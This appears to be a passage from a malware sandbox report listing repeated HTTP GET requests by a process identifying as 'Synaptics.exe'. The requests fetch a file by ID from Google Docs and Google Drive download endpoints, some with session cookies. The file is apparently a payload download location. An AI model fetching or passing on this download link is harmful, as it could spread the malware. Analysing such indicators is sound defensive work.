Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=K7m8tHZDnGq90iUqI5rxOUdUR3R_f_5jU1Zo5TdCu1uY1zr7Yxh7MNjc33tcVZldkKVBHtqy8WCJLZlBfsFY-okGRfCO08RjxLphxxUAK7uFpPpkJ8v8GPRTGO9uC1ZBqG2YsfkMzxwfXEDn2AuwXZYCeg3VOIvIJewm0IN5Lzg
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
